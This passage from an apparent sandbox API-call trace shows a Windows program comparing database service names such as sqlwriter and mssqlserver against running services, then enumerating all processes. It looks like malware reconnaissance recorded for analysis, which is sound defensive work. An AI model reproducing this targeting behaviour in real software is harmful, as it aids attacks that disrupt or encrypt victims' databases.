5 [0159.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0159.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0159.971] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0159.971] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0159.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0159.971] lstrlenW (lpString="SamSs") returned 5 [0159.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0159.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0159.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0159.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0159.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0159.971] lstrlenW (lpString="Schedule") returned 8 [0159.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0159.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0159.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0159.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0159.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0159.971] lstrlenW (lpString="SecurityHealthService") returned 21 [0159.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0159.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0159.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0159.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0159.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0159.971] lstrlenW (lpString="SENS") returned 4 [0159.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0159.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0159.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0159.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0159.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0159.972] lstrlenW (lpString="ShellHWDetection") returned 16 [0159.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.972] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0159.972] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0159.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0159.972] lstrlenW (lpString="Spooler") returned 7 [0159.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0159.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0159.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0159.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0159.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0159.972] lstrlenW (lpString="SSDPSRV") returned 7 [0159.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0159.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0159.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0159.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0159.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0159.972] lstrlenW (lpString="StateRepository") returned 15 [0159.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0159.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0159.987] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0159.987] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0159.987] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e9780 | out: hHeap=0x790000) returned 1 [0159.987] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0159.993] Process32FirstW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.994] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0159.995] lstrlenW (lpString="System") returned 6 [0159.995] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0159.996] lstrlenW (lpString="smss.exe") returned 8 [0159.996] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.997] lstrlenW (lpString="csrss.exe") returned 9 [0159.997] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0159.998] lstrlenW (lpString="wininit.exe") returned 11 [0159.998] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.999] lstrlenW (lpString="csrss.exe") returned 9 [0159.999] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0160.000] lstrlenW (lpString="winlogon.exe") returned 12 [0160.000] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0160.000] lstrlenW (lpString="services.exe") returned 12 [0160.001] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0160.001] lstrlenW (lpString="lsass.exe") returned 9 [0160.001] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.002] lstrlenW (lpString="svchost.exe") returned 11 [0160.002] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0160.003] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0160.003] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0160.007] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0160.007] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.008] lstrlenW (lpString="svchost.exe") returned 11 [0160.008] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0160.009] lstrlenW (lpString="dwm.exe") returned 7 [0160.009] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.009] lstrlenW (lpString="svchost.exe") returned 11 [0160.010] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.010] lstrlenW (lpString="svchost.exe") returned 11 [0160.010] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.011] lstrlenW (lpString="svchost.exe") returned 11 [0160.011] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.012] lstrlenW (lpString="svchost.exe") returned 11 [0160.012] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.013] lstrlenW (lpString="svchost.exe") returned 11 [0160.013] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.014] lstrlenW (lpString="svchost.exe") returned 11 [0160.014] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.015] lstrlenW (lpString="svchost.exe") returned 11 [0160.015] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.016] lstrlenW (lpString="svchost.exe") returned 11 [0160.016] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.017] lstrlenW (lpString="svchost.exe") returned 11 [0160.017] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0160.018] lstrlenW (lpString="spoolsv.exe") returned 11 [0160.018] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.019] lstrlenW (lpString="svchost.exe") returned 11 [0160.019] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.020] lstrlenW (lpString="svchost.exe") returned 11 [0160.020] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0160.021] lstrlenW (lpString="audiodg.exe") returned 11 [0160.021] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0160.021] lstrlenW (lpString="sihost.exe") returned 10 [0160.021] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.022] lstrlenW (lpString="svchost.exe") returned 11 [0160.022] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0160.023] lstrlenW (lpString="taskhostw.exe") returned 13 [0160.023] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0160.024] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0160.024] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0160.025] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0160.025] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0160.026] lstrlenW (lpString="explorer.exe") returned 12 [0160.026] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0160.027] lstrlenW (lpString="Memory Compression") returned 18 [0160.027] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0160.028] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0160.028] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0160.029] lstrlenW (lpString="SearchUI.exe") returned 12 [0160.029] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0160.030] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0160.030] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0160.031] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0160.031] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0160.032] lstrlenW (lpString="taskhostw.exe") returned 13 [0160.032] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0160.032] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0160.032] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0160.033] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0160.033] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0160.034] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0160.034] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0160.043] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0160.043] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0160.044] lstrlenW (lpString="conhost.exe") returned 11 [0160.044] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0160.044] lstrlenW (lpString="screensaver.exe") returned 15 [0160.044] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0160.045] lstrlenW (lpString="upperarc.exe") returned 12 [0160.045] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0160.046] lstrlenW (lpString="buying.exe") returned 10 [0160.046] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0160.046] lstrlenW (lpString="downloadable.exe") returned 16 [0160.046] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0160.047] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0160.047] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0160.048] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0160.048] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0160.048] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0160.048] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0160.049] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0160.049] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0160.050] lstrlenW (lpString="moments.exe") returned 11 [0160.050] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0160.051] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0160.051] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0160.051] lstrlenW (lpString="stream-test.exe") returned 15 [0160.051] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0160.052] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0160.052] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0160.053] lstrlenW (lpString="taskhostw.exe") returned 13 [0160.053] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0160.053] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0160.053] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0160.054] lstrlenW (lpString="movers-indication.exe") returned 21 [0160.054] Process32NextW (in: hSnapshot=0x2f8, lppe=0x256fd2c | out: 